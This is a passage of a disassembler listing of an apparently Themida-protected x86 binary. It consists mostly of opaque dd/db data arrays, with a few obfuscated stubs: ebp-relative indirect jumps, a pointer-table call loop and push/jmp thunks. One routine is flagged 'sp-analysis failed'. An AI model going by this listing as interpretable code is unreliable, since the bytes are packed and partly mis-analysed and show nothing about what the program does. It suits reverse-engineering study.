1D04h dd 0C3574700h, 0FCA6EA0Eh, 6F4DE913h, 0FB83F03Ch, 40850F01h dd 60000000h, 0D39BF381h, 0BB603C7Ch, 1502D9Bh, 0DE8h dd 24222900h, 0B209C7E2h, 3083D80Ch, 615A7BD1h, 44BD8D61h dd 0E906188Eh, 6, 0D2DB6409h, 0E9F9F04Ah, 87h, 1800Fh dd 83F80000h, 850F2AFBh, 47h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 65C35242h, 0C820Fh, 860F0000h dd 6, 8B0Fh, 0BD8D0000h, 6188E4Ch, 3DE9F5h, 8E90000h, 41000000h dd 57412C6Ch, 836491CAh, 850F27FBh, 253h, 0D0B70F60h, 4800Fh dd 0BA660000h, 0E9611B13h, 0Ch, 0B5FD8353h, 0F494A953h dd 3B2ADB5Ch, 8E54BD8Dh, 89F80618h, 188E64BDh, 7800F06h dd 0F000000h, 182h, 8C66F800h, 50006AC8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 3319A06Fh dd 0CB00FF00h, 11850F60h, 0E9000000h, 0Ch, 0CA86A4DDh dd 0CF8E44FAh, 0DF98E090h, 11E9h, 3BEBC200h, 0B598A60Eh dd 4FA1E100h, 52D855DFh, 2461FECBh, 6660F503h, 288DE81h dd 14E8h, 0E4B8D300h, 12FE3A0Ah, 1F055D19h, 9F0013C5h dd 1A332BA7h, 615BF899h, 850FC00Ah, 112h, 74B58DFCh, 0E9061893h dd 0Eh, 889E5D68h, 1A97E254h, 0FD492175h, 858B7AB3h, 6189433h dd 816660FCh, 61DD29E7h, 11E950h, 0AB10000h, 0D9587B65h dd 1D24734Eh, 0DCCB2C9h, 89910F1Bh, 8C0F2414h, 0Fh, 0AE9h dd 394E7F00h, 0E712D436h, 0F415ECDh, 0FE244C01h, 1820Fh dd 5AF80000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0EC35545h, 0E9ADDC9Ch, 83F9F917h, 6A24C2h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FCCE2C3h, 18Dh, 8966F500h, 10E9FC72h, 0DA000000h, 35DB9D57h dd 0B094751Fh, 84343E0Ah, 0C16B3E2Bh, 8B0F10CEh, 17h, 11830Fh dd 0CE90000h, 4000000h, 1C510DD2h, 0B639CE7Eh, 66C75E1Bh dd 0F9027289h, 0E9F904CDh, 78h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 2DC35040h, 858BC12Bh, 6189433h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C3C35040h dd 7A9B3493h, 9148591Ch, 74B58DF9h, 0F5061893h, 4559858Dh dd 6A0618h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 7B356FC3h, 0F8D0FFFCh, 8E5C8589h, 6A0618h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0A01546C3h, 278E4C0Fh, 61F99BE3h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0E9C35747h, 0E9605DDAh, 6 dd 0B224728Eh, 8B61BD19h, 188E5C85h, 6AC3F906h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 11F2C356h, 8F0FF5F2h, 0Eh, 9E9h, 14D11300h, 0B5E88862h dd 60F931D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 41C35545h, 310BE929h, 9AC1661Eh, 9433BD83h, 0F000618h dd 7F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 52FAF0B3h, 0C1A5CA5h, 0E9609E00h dd 14h, 0F12583BBh, 0D08338AAh, 0CF7D779Fh, 0ED93CA09h dd 0F5EB04BEh, 0DE9h, 4CB5000h, 0DAE57026h, 5E616961h dd 0C761CFCDh, 18943385h, 1013F06h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 60904F8Ch dd 0F8F59FC9h, 7E9h, 3BBF6000h, 6108A441h, 20CDh, 0C00B0000h dd 708D3774h, 64BD8B0Ch, 0B906188Eh, 8, 492275A6h, 488BFA75h dd 609D8B30h, 3B06188Eh, 157F3458h, 0D26BD38Bh, 8BCA0304h dd 5C858901h, 0EB06188Eh, 0EB008B04h, 858B61C5h, 6188E5Ch dd 0AE9CFh, 0A80000h, 3317E81Ah, 0B32B27C6h, 18B0Fh db 2 dup(0), 0F8h ; --------------------------------------------------------------------------- loc_5B2EBF: ; CODE XREF: sub_5B2804:loc_5B2897j mov eax, eax jmp loc_5B2ED1 ; --------------------------------------------------------------------------- dw 0EFB2h dd 8A0h, 0 db 0 ; --------------------------------------------------------------------------- loc_5B2ED1: ; CODE XREF: sub_5B2804+6BDj jmp loc_5B33CB ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 6Bh dd 0A4051AFBh, 73D26134h, 3BBD7203h, 75F52ACBh, 703B7005h dd 0A84DBD3Dh, 0F184F47Bh, 0C352C242h, 0F69F0F6Ch, 1F4201CDh dd 0DE169E66h, 0C7241F1Dh, 654ABA3Bh, 52C24031h, 199A97C3h dd 0F350C1A9h, 1D9E9383h, 8EA369ADh, 8778BE2Eh, 53C326E3h dd 7964CB63h, 987DED4Eh, 0DCB9298Bh, 4175E547h, 0C043CF30h dd 72E26350h, 8954815Dh, 0D5352C72h, 393CFA90h, 4015DDD0h dd 0E2631F26h, 6C4B4472h, 0A743EC7Ah, 0FB9A0A6Ah, 0F44F8D4Fh dd 10862BADh, 83C67F50h, 110862Bh, 3E78F435h, 0E8B96701h dd 42B21102h, 0BEE3627Ch, 3D10866Ch, 35907E6Ch, 10866CE9h dd 0C3D7009h, 97A8B8A1h, 7C27h, 0C7240300h, 0C72A8757h dd 4A515B5Fh, 0F2DD35C4h, 70971E18h, 7410867Dh, 4618DA05h dd 1B1B8BEDh, 7D5E8322h, 0F01D1086h, 5A301F8Fh, 0A8A8CE5Bh dd 15697h, 24320000h, 506155C5h, 920265F1h, 86879BDh, 0A38CFC7Ch dd 4319FB73h, 0A71E8EEEh, 1086F262h, 0E1125CA0h, 813F27A4h dd 8CFC83B0h, 0E60CB3DEh, 158DB6F1h, 596545CEh, 868BA7EAh dd 95754610h, 0D0A51594h, 0A570E063h, 56C62497h, 7EEE5360h dd 0A5188138h, 6530A022h, 0D2A4DCF9h, 6254C425h, 0FD854A6Dh dd 3EBD6E1Ch, 5ADBC8CEh, 0E34EACEAh, 0E3104DFCh, 805897A8h dd 34000000h, 6056C624h, 0BC82F253h, 0E981F177h, 45B5362Bh dd 0B7458451h, 0D7F0CE68h, 0A8EE5EDCh, 0E5FEB138h, 0AE19C42Bh dd 0EA39DC4Ch, 0E7EFC88h, 0A27F521h, 2B9B1FABh, 4D3D1204h dd 0D2EC5CDCh, 72D35FE1h, 143B1402h, 0D742B876h, 180C61E8h dd 5B7497A9h, 6A000000h, 9278E849h, 56C624AAh, 81F15360h dd 310C98BDh, 6FCBF4A1h, 0B456C624h, 218CFD7Ah, 41D444A6h dd 5D843F1Dh, 20108600h, 4FB75B0Fh, 9773E362h, 0FB6179Ah dd 1086F2CAh, 0E957C724h, 44BFF7D8h, 1086F318h, 55F4DB5Ah dd 97A81AE8h, 970h, 0E7456E00h, 4867D75Bh, 0C9247AA2h dd 0F53CF661h, 614E6377h, 4FBF3C35h, 12BD6C47h, 70D3E0h dd 0C04CA96Ah, 0F3E4D242h, 0B056E777h, 496649FFh, 0A3AFEACh dd 0FEB59134h, 0F7C8169Bh, 0E151B2BFh, 2C9C1F14h, 0FF448BEAh dd 7F2A1693h, 68F47750h, 0E0B59A0Ah, 9680F053h, 68AE1E9Dh dd 0FDF5E8D1h, 0CFC737B4h, 9C1F0CFEh, 0D15C492Ch, 579DBD26h dd 138h, 0DB0BAB33h, 0F6304003h, 0FCCD169Bh, 7003D4BAh dd 655237D0h, 0B31001E9h, 0FE7DB243h, 189B888Eh, 0F2756EA8h dd 545CB58Ah, 0C9E6A8CFh, 0CC58D4CDh, 0E72F0070h, 100676FAh dd 7C634A3Fh, 5778E84Bh, 0F3D4FBB2h, 60552090h, 9DBD4DDDh dd 6063h, 0C0835900h, 1693CA99h, 3EE252D7h, 0AB957D6Dh dd 4500DE0Eh, 9086F23Ch, 4DA8EEBFh, 9086F204h, 0F14C6567h dd 0FFAEE981h, 0BC82B24Fh, 86F2E009h, 0AC082910h, 0E00DFA3Ch dd 81868367h, 6858321Dh, 25FA7166h, 374ABCE1h, 86A14B8Eh dd 4E613210h, 9209A7h, 1D3F0000h, 86A163A6h, 51390A10h dd 0DB0BABE9h, 5DD8D903h, 36D4A9EDh, 9C062B87h, 7D415216h dd 5145B534h, 93A08E7Ch, 2D74CF30h, 0D01693E6h, 0EE45D0FFh dd 70992C8Dh, 0FB1693E6h, 0B211052Ah, 1693E768h, 9136A910h dd 2F72D132h, 0CE1693E7h, 0A70CD2FDh, 0E9E6D040h, 74447201h dd 2C97994Ch, 20A15C60h, 0AEB09FB0h, 2AB283A9h, 0DE8CD735h dd 6C5BED58h, 0C9DA108Ah, 0E757D4CDh, 7A65D4AFh, 0EEFC24D4h dd 7AE6BFF8h, 794C123Dh, 1AB1C4AFh, 34F89DAEh, 0CCE30BABh dd 93A9EBD8h, 3C07D7F8h, 169F9AEAh, 0C14DA809h, 0B8FED141h dd 0A27323C7h, 8CFC7F74h, 9C0481B2h, 5D9C8209h, 3E7C8F0h dd 0C838BB68h, 656167CEh, 71F81927h, 9E2A893Eh, 776CAA1Ah dd 82AD82F2h, 4FBF3CF3h, 0EC578547h, 45671A5h, 96937748h dd 9174A212h, 0B112B528h, 0FC7FB441h, 102A8A8Ch, 0FE000000h dd 6DDD624Fh, 6CC5977Dh, 0B8288410h, 243FF397h, 475C5ACAh dd 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh dd 433066D6h, 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4BA5200h dd 29000000h, 1C875AD3h, 62685C24h, 8900007Ah, 8957241Ch dd 4C781E7h, 83000000h, 3C8704EFh, 3C895C24h, 19685524h dd 5D0C2560h, 0E581D5F7h, 465C5196h, 47AB951h, 0E9813BA7h dd 5BC41E2Dh, 43BBE981h, 0D1F75903h, 0E981D1F7h, 4AA025B3h dd 8959CD29h, 8B545DEBh, 0C481243Ch, 4, 8B951h, 0F9010000h dd 0C8B1989h, 4C48324h, 5F2434FFh, 0FF04C483h, 835B2434h dd 0BFE904C4h, 56FFFCE4h, 8EB7A245h db 0D8h, 0A5h, 6Ah ; --------------------------------------------------------------------------- loc_5B33CB: ; CODE XREF: sub_5B2804:loc_5B2ED1j mov eax, 6189905h add eax, ebp jmp eax sub_5B2804 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 35CEC1D2h, 86F204Fh, 2AEBC006h, 785146CDh, 1A8F0787h dd 73053B55h, 0BD80810h, 33602E47h, 7E35B719h, 22E59C78h dd 714842E3h, 31E5383Ah, 59A29A3Dh, 7D0E6BBBh, 0F08D359h dd 10A509ADh, 2193A484h, 3A510742h, 1C981AA5h, 148E9h dd 4800h, 4C00h, 5000h, 5400h, 5800h, 5C00h, 6000h, 6400h dd 0A800h, 0AC00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h dd 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h dd 0E000h, 0E400h, 38h dup(0) dd 5B348500h, 0B2C20300h, 0F6858D00h, 0E8061899h, 7, 0DE7CC47Eh dd 0E9F4A230h, 10h, 588E3749h, 90A4DF2h, 19DAAD3Fh, 86C28915h dd 13E85Ah, 0EA260000h, 2FE9958Eh, 0F48F2143h, 4DAE1E69h dd 0E9EAB6Eh, 0DE8D3h, 2ABC0000h, 0BFEF6F76h, 5A3E041h dd 8B7A3705h, 15243D9Dh, 895A5A06h, 189B3685h, 9DE28006h dd 9C585C6h, 0BF540615h, 6B857B67h, 4E8C4B6h, 29000000h dd 66EE6268h, 50AA77B9h, 310F5250h, 448B585Ah, 0D3BB0424h dd 8B38A3FDh, 89F6B700h, 66042444h, 586CD6BFh, 1459958Bh dd 0B5FF0615h, 6152811h, 0C519D89h, 858D0615h, 61872BCh dd 10898D09h, 0D0FF0615h, 85893EB7h, 6189B3Ah, 0BF3B70Fh dd 151D9DB5h, 4EE906h, 8D8B0000h, 6152CE5h ; --------------------------------------------------------------------------- loc_5B3644: ; DATA XREF: Themida_:0057A654o ; Themida_:0057B434o push esi mov esi, [ebp+6189B36h] mov [esi], eax add dword ptr [ebp+6189B36h], 4 pop esi retn ; --------------------------------------------------------------------------- pusha lea esi, [ebp+61899F6h] jmp short loc_5B366E ; --------------------------------------------------------------------------- loc_5B365F: ; CODE XREF: Themida_:005B3671j push esi push 0 push dword ptr [esi] call dword ptr [ebp+6189B3Ah] pop esi add esi, 4 loc_5B366E: ; CODE XREF: Themida_:005B365Dj cmp dword ptr [esi], 0 jnz short loc_5B365F popa retn ; --------------------------------------------------------------------------- db 33h, 9Dh, 3Dh dd 0E8061523h, 7, 54DC9593h, 66104026h, 5E6275B9h, 9C27858Dh dd 0F2B90618h, 894750F5h, 15340185h, 14E806h, 0A9590000h dd 76994B62h, 94FEE49Ch, 0BDE99A3h, 536221ACh, 8D33A9ACh dd 6152709h, 0C981665Fh, 0C7818467h, 594Dh, 8E9h, 12739C00h dd 2CF574BCh, 161FBA98h, 0EFBB0000h, 8B18EA9Dh, 0E2E68107h dd 810CE80Ch, 0D58377C0h, 69B50158h, 81061524h, 0AA4977C0h dd 0FE94Dh, 0F3600000h, 2D9CF564h, 6070FB77h, 4A72CCE9h dd 0E5F08110h, 897446DBh, 150D49B5h, 81078906h, 0AC7348DEh dd 0D4EF8112h, 8B46322Eh, 1527418Dh, 0D0C78106h, 0F46322Eh dd 0EA83CFBFh, 1B850F01h, 60000000h, 8BF18B66h, 1515ED9Dh dd 28E96106h, 2E000000h, 83EC34C6h, 22D84564h, 0B58B133Dh dd 6151909h, 0FFFF7AE9h, 0B58A08FFh, 0D50225FAh, 788A6D3Eh dd 0BF00AFAh, 0E992C12Eh, 0F4h, 1DADA46Fh, 8A055C97h, 76A18883h dd 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh dd 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh dd 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h dd 9DB7EDA6h, 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h dd 33537520h, 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h dd 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h dd 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh dd 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h dd 7D2F6D37h, 0E0A1E35h, 5D340700h, 59A0A3D2h, 1Eh, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_5B44D8 ; --------------------------------------------------------------------------- push 618A0E4h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A1B5h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A284h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A368h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A3F1h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A495h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A5B2h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A6B6h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A794h jmp loc_581882 ; --------------------------------------------------------------------------- push 618A86Dh jmp loc_581882 ; --------------------------------------------------------------------------- push 618A91Dh jmp loc_581882 ; --------------------------------------------------------------------------- db 0D8h dd 1807EE5Eh, 0D74C2999h, 200FE656h, 0CE6530A0h, 8219FC6Ch dd 0A4149609h, 6DDD62D1h, 0A9199B88h, 64D457CCh, 0AD184691h dd 169E6C64h, 0DBD88607h, 0FF6FCC58h, 0D5E9E6D0h, 9E6C2B6Eh dd 29C1D216h, 57C724F1h, 0ABEE5587h, 521086F2h, 81C56A49h dd 0F9D618DFh, 1C392311h, 605807D5h, 24E585C7h, 4A8B53C3h dd 9F1FA58Eh, 14680E1Ah, 0B8A5E6F1h, 0C81F1B3Ch, 79C3E08Eh dd 0A40BA391h, 0BD2D8E39h, 0D2ED2D8h, 861E1336h, 33C7110h dd 0FC55659Fh, 825C7344h, 9C6157C3h, 2B9AC416h, 169372E6h dd 6120BC85h, 0FA2FA385h, 0B08135D5h, 9E0E6D86h, 5BCB28F7h dd 5FCF2E83h, 969B81ABh, 9F70A616h, 0C78CD0EBh, 84E41693h dd 893C2214h, 1693C740h, 99191A2Bh, 88BC2531h, 2A057860h dd 2DA009ECh, 8AA5159Ah, 0C007B6DFh, 0D10BD343h, 93B72F72h dd 0DFDCE16h, 0E252B17Eh, 0C652D7DCh, 0C8C5F161h, 180903E7h dd 4CEB2B9Bh, 0EE4D7A65h, 9F0A977Eh, 259DBD5Fh, 4F8h, 57C72401h dd 59C92A87h, 0D6E83B1h, 0EB2F89Dh, 1CD700DEh, 0DE03C238h dd 9D1086F7h, 5A16AB8Ch, 6577BDADh, 9581F14Ch, 0BFF3D2B8h dd 0DC169B98h, 3D9A6EFBh, 0BDAD2576h, 67CEC8D9h, 1693DA26h dd 7D7568CFh, 4E48B834h, 8F1A9971h, 2F9DBD46h, 78128202h dd 3BCCh, 0BABE000h, 0F04003DBh, 8D169BF5h, 9BCA2BCh, 1693F1C0h dd 46F09AABh, 6ADA5B58h, 0F1F82580h, 8CEE1693h, 0AB091A1Ch dd 0F7AFB3Bh, 30E743A0h, 1D61CC7Dh, 0CBE79DBDh, 0C3000000h dd 5F57C724h, 0BDE45F7Dh, 0DE1086F2h, 86F22267h, 48F8C910h dd 3BCE6077h, 0F5DBAEEFh, 26961415h, 0F48003F0h, 310E0878h dd 80E7E02h, 301E1837h, 78128203h, 2DC838BBh, 86125488h dd 749EB710h, 643CF5D4h, 0B536F397h, 83B045h, 6414A690h dd 91342A34h, 10868B48h, 0B6886233h, 9C7C4B0Fh, 94613216h dd 1C225226h, 8B1186A9h, 0CA94A510h, 0FC990969h, 0CA53C327h dd 0B1BF8FB1h, 2044C0B6h, 8000009h, 0C8573EAEh, 71CF969h dd 0D05F36A6h, 0BE750070h, 7229CC3Ch, 0B4248639h, 7DED52E1h dd 0B9298B98h, 74E447DCh, 9D2836A1h, 169E5274h, 24C676F7h dd 70BF56C6h, 3514AB13h, 0BA8613B3h, 0D6E15640h, 5B744B5Dh dd 0BAB6EBAh, 0FCD903DBh, 0FDABAFFAh, 0F7A64410h, 169B583Bh dd 0BE457142h, 1693439Fh, 4BFEB168h, 9DBDCADEh, 0B366h dd 0C7244200h, 587D5F57h, 80FC8E8Dh, 12994710h, 39B97A10h dd 3666CDC9h, 2A1086D9h, 67BC59C9h, 0BCA29404h, 0B4B43E9Bh dd 864BC811h, 0D5E2B310h, 8763C448h, 213D6D11h, 9CFCFEA2h dd 0C7AE7F16h, 0CFEF1FDFh, 8895A474h, 0D12C5910h, 77583561h dd 78E84A67h, 0B424869Dh, 0BF13B6E9h, 338FA5B1h, 84Fh dd 8ED5DD9h, 4F26961Bh, 20F565E0h, 583DAD13h, 1EF767CBh dd 2B8F0289h, 0E245DABBh, 308CA372h, 7DFE35C0h, 6F5F680Dh dd 9E538DD4h, 8DAF7016h, 0BF56C624h, 25871370h, 89A61699h dd 0F69FB08Dh, 77D85F54h, 86F285CCh, 78576810h, 71A9413Eh dd 71E1624Fh, 71A24845h, 0AA74A212h, 0C32B60ADh, 0EFCF1A5h dd 472E9E1Dh, 6F0FE266h, 0F43D1F3Fh, 300D0979h, 86094C95h dd 6C1E2F10h, 0F75BEAh, 8976169Bh, 896B929h, 5962FEBDh dd 97C77709h, 62A0FCC7h, 94A51242h, 386818A2h, 448D3826h dd 271A7552h, 0FCE27416h, 523E63E2h, 0D0BD1A75h, 3D2D0272h dd 6CC4E35Eh, 95A97A1Ch, 0C6AF1F9Ch, 936ADA59h, 0ACE0B45Eh dd 808FF301h, 0A8000007h, 0E837DE4Eh, 0A77C1989h, 0F03FD646h dd 0DE552090h, 9209EC5Ch, 0D444A619h, 1D8DF241h, 0D949AB78h dd 1484E73Ch, 0BD885681h, 169E5094h, 24A69657h, 0D95F57C7h dd 0E959D925h, 0D14DF8C6h, 32169C20h, 80E7E01h, 61635337h dd 93DCBFE2h, 4A6D3E16h, 18F975D0h, 9AA48B8Bh, 6BAB1B99h dd 0D9DF892h, 37253969h, 64B1C51Eh, 650536E8h, 8A9E7936h dd 0BFB99E10h, 4FD0EED7h, 8C9D01E9h, 9EFF81B2h, 0ABAAE227h dd 97B8891Ch, 7ABCAE9Fh, 0AB4ABA39h, 8F87F774h, 0A40564CDh dd 0ABAAF821h, 9DB2831Ch, 0CCC6A499h, 0F565E02Ch, 0DBE3CCC1h dd 0B2D79468h, 3608191Ah, 0BF4A2F28h, 6E69FD9h, 7445C931h dd 781244BBh, 2DC838BBh, 110575F6h, 97A7D7A7h, 0D96BE02Ch dd 0E9B48504h, 0A5924DAAh, 9C37BBB9h, 8C000006h, 0FC33C232h dd 0BB680D7Dh, 0F42BCA3Ah, 0C2710474h, 6645D040h, 98086A25h dd 51C126FDh, 9D0D6FC4h, 58C82BF8h, 81440ABDh, 169E5158h dd 4FDA6223h, 40CA586h, 0BBAF08F6h, 0EDF121D5h, 9FBA8E56h dd 203E0F16h, 7E40B013h, 0C350B835h, 7502EA4Eh, 0B58A8CA3h dd 0DF8BFB7Eh, 0BB1C9F94h, 9E8AC108h, 0B49BAC16h, 14979C82h dd 0ED9D72A4h, 42A7F3C3h, 0C4EBE4D2h, 58D34BFAh, 81921084h dd 0BF20B7FCh, 3EC6B0B1h, 613h, 4C299915h, 13E252D7h, 6431A11Ch dd 1CF969CFh, 6233A307h, 0E74B4645h, 2E919E77h, 0EC48D7BEh dd 298A997Ch, 0E3EBDCB9h, 9E513960h, 0F943C416h, 93B68D4Fh dd 0CD1086F2h, 0C5BAFC6Ch, 0FAA04A5Bh, 7D481646h, 169F903Eh dd 61526C3Dh, 8CA372E2h, 0F177BF2Fh, 1B411D4Dh, 6C5F8241h dd 0D1E169Eh, 11AE3E5Dh, 1E2F1087h, 85401E40h, 1CB7C95Ch dd 0AF5C0E1Fh, 1539DC4Ch, 0C9557C47h, 7181CB7h, 0C9458C37h dd 17281CB7h, 0C535B673h, 679767D1h, 38A0EC57h, 74451AADh dd 0A67A4EA9h, 8BE70DABh, 56Fh, 28CD3DB9h, 6F0676FBh, 40D545C0h dd 781D8DF3h, 3ED747ABh, 0B6F2269h, 0C225FA9Bh, 106CC352h dd 0DD5ED5A0h, 0F3F886Dh, 9E566DB4h, 0AD8F1016h, 5F57C724h dd 0F481F152h, 0FCC2F2C6h, 9BFB1149h, 0E1647A16h, 1693FBB8h dd 28987243h, 290676FBh, 0FB4786EDh, 89301693h, 2786F356h dd 2F289DBDh, 0D8E5CB46h, 0B37D3C8h, 2Fh, 0DB0BAB1Fh, 0F5F04003h dd 0BC8D169Bh, 0F1D2FB7Ah, 0A6041693h, 91F30036h, 2292F221h dd 35A811F4h, 2A95FCAEh, 0BD1D9A1Fh, 0C1229Dh, 4FF60000h dd 7D6DDD62h, 9FBF2F8Ch, 0B6C317B6h, 0FFEB0952h, 2E9E1C15h dd 878FBE8h, 2696150Eh, 623A724Fh, 0CD2E1086h, 0D030815Dh dd 0B1593660h, 7EEE4DE2h, 0DE0EB238h, 6CF94500h, 0AB7C169Bh dd 0AA1A9E93h, 0FE23A26Ch, 7D169368h, 8CE783ACh, 0A90E5A1Eh dd 2F00FD39h, 0B40F4D0Fh, 1693686Dh, 704B3F10h, 108B0728h dd 49B93E73h, 269A704Dh, 8AE84915h, 46A47B1Ah, 816A47D6h dd 7F75B1BFh, 45203h, 0E858D600h, 2393160Dh, 0F060DD52h dd 3AAA0E25h, 0F666C45Bh, 9003881Fh, 0FC33C232h, 0B56A0B7Bh dd 12EC737h, 50831282h, 5792B78Eh, 9859169Eh, 56C624A4h dd 0A31370BFh, 0A313969Bh, 0AB80ACC7h, 4003DB0Bh, 169BF5F0h dd 0BCA2BC8Dh, 93F1C009h, 0F09AAB16h, 0D77F5846h, 0BF5ED6DEh dd 0E9D8BA7Fh, 250A89BBh, 0E6375645h, 0CB291693h, 0E1465B5Bh dd 0D02C4571h, 0EE593660h, 0DB4F943Bh, 3DC08934h, 0C39DBD2Eh dd 0BBh, 57C724D7h, 56C62A87h, 82C77E60h, 691086F2h, 99937758h dd 7CBA2A88h, 86F6C5F9h, 0EC78FB10h, 83421C8Ch, 1086F65Eh dd 52230C1Dh, 0A8EE5EDDh, 0FB6BCDE6h, 7228C2BBh, 5C09ECEh dd 169BF039h, 1C8A6B3Ch, 49B1105Ch, 0F04153AAh, 331C33BEh dd 929F982Bh, 9C9E108Bh, 0AA40E029h, 95BA8B1Ch, 9A0A68C9h dd 0EE1C93C4h, 94410DBBh, 2A8897F6h, 5900E3BAh, 0D1E3B1C0h dd 34E71h dd 0EC5CDA00h, 27971A09h, 0F464E14Eh, 3EAE1221h, 0FA6AC857h dd 940F7C1Bh, 60CFA616h, 99866FDFh, 55CAAB1Bh, 448F66D6h dd 5466AB1Ah, 8405169Eh, 56C624B8h, 0A31370BFh, 0C42B88D2h dd 247EB654h, 525F57C7h, 940465F1h, 0F382ADA2h, 78E84A67h dd 5244B43Bh, 202A8D7Dh, 0E1FD2DD1h, 0F20148FBh, 0DBEC1086h dd 262F2D2Fh, 22633EC2h, 7A29C195h, 169B6396h, 5EDCD5D7h dd 6ED7A8EEh, 1693502Bh, 0CA76E645h, 50143D08h, 0C6D71693h dd 8D38C6E9h, 0B2A9CAA8h, 6C9F1C5h, 8EFE8181h, 5217F3A9h dd 367B617Dh, 0FAA941B1h, 0BCD7216Ah, 4EDCDAEBh, 0DC2482AAh dd 0F9A6A285h, 0CC3D08D6h, 8FA6FF52h, 3093A0BEh, 332935C0h dd 0FE5A4990h, 876334A6h, 0E4B9298Ah, 7741EF7h, 707E06F0h dd 0B8000002h, 0F827CE3Eh, 0B76C0979h, 2FC636h, 0AE851080h dd 6239DC4Ch, 84F47629h, 4DBD42F1h, 89F97BA8h, 44B437ECh dd 8D3826B1h, 169E5544h, 4FD66627h, 0F293B68Dh, 495A1086h dd 0AB1370A1h, 843CE7EDh, 80E21B0h, 1B8BED46h, 4575496Fh dd 44B6CA79h, 6637169Bh, 766CB8Fh, 50C4F397h, 233E1045h dd 36AB4BDFh, 7F5046B6h, 4000BA50h, 130373F4h, 0C4577A49h dd 5161693h, 0F839052Ah, 350A0C7Ch, 0DC44FF55h, 0A1108ECDh dd 63500E90h, 0C4276CDCh, 7D6D6254h, 3F5EE31Eh, 78C474C1h dd 0BE8F87F7h, 0A6F6CD91h, 0A7DE24B4h, 661AA096h, 0AC9D2836h dd 0AFD852B2h, 0C73C09Eh, 0ECDB49A4h, 745B7542h, 1073C096h dd 9AB52584h, 57C724FBh, 64EC7C6h, 0A22214E9h, 197h, 30C53591h dd 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h, 23873A71h dd 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h, 9E5A759Ch dd 0C577F816h, 5F57C724h, 0E9F525D9h, 9C032A5Ah, 0FB9AAB16h dd 0F09061B2h, 0FEE0FEC0h, 93E20247h, 0FFD8E916h, 0B113B92h dd 0E5C0AA82h, 108E747Dh, 0DC05C09Eh, 9F1CAC6Bh, 0EBBCDC8Eh dd 47C9B013h, 0CA6EC553h, 999AC49Ah, 9E6FA717h, 9FFDD1ECh dd 0AF80D381h, 0F13D0167h, 1BF42292h, 0AE9B2A34h, 0ADDDADC9h dd 848FFF80h, 817EB828h, 20A390AEh, 8BA41494h, 46B635EAh dd 0A1A7B2B7h, 0AB072DECh, 0E7h, 0C055C541h, 0F79E0E73h dd 0B85DCD28h, 95056Bh, 0B65FCF33h, 73F7AAE1h, 3ABD7203h dd 78F42BCAh, 35B66D08h, 0B7A730C5h, 9E5BC50Ch, 55E7A816h dd 5F57C724h, 0E9F525D9h, 9BFBAE5Ah, 348FCD16h, 1693FBEDh dd 0EBCBBF90h, 0CB6B3BDAh, 0F6EC39Bh, 0BD920283h, 98086879h dd 5B81D3B7h, 8961D156h, 8A86BE1Ah, 46FDBF10h, 1CAB5503h dd 345DE8EAh, 0B71CAB55h, 0D8E6C9E6h, 551A3F06h, 0D0E11CABh dd 84E7FC3Ah, 51B28114h, 0EEE7B5E1h, 62C680DBh, 0F083E5F2h dd 0C0A7AFEh, 13B1C33h, 9982A8FAh, 0D05C4723h, 45201125h dd 0D903EFDEh, 64C1276Ah, 5BD9C637h, 0E526C4EBh, 0DB7F1686h dd 0C11F4201h, 0CDDE3764h, 1F8FEC1Dh, 36A60A17h, 29940500h dd 0C8AD1D9Eh, 2E68D85Bh, 0AC6h, 6D2FE200h, 3F77E744h dd 24789C4Eh, 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h dd 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh dd 81E68956h, 4C6h, 4EE8300h, 8B243487h, 89572424h, 4C781E7h dd 83000000h, 3C8704EFh, 3C895C24h, 3D1B6824h, 34890000h dd 9EB46824h, 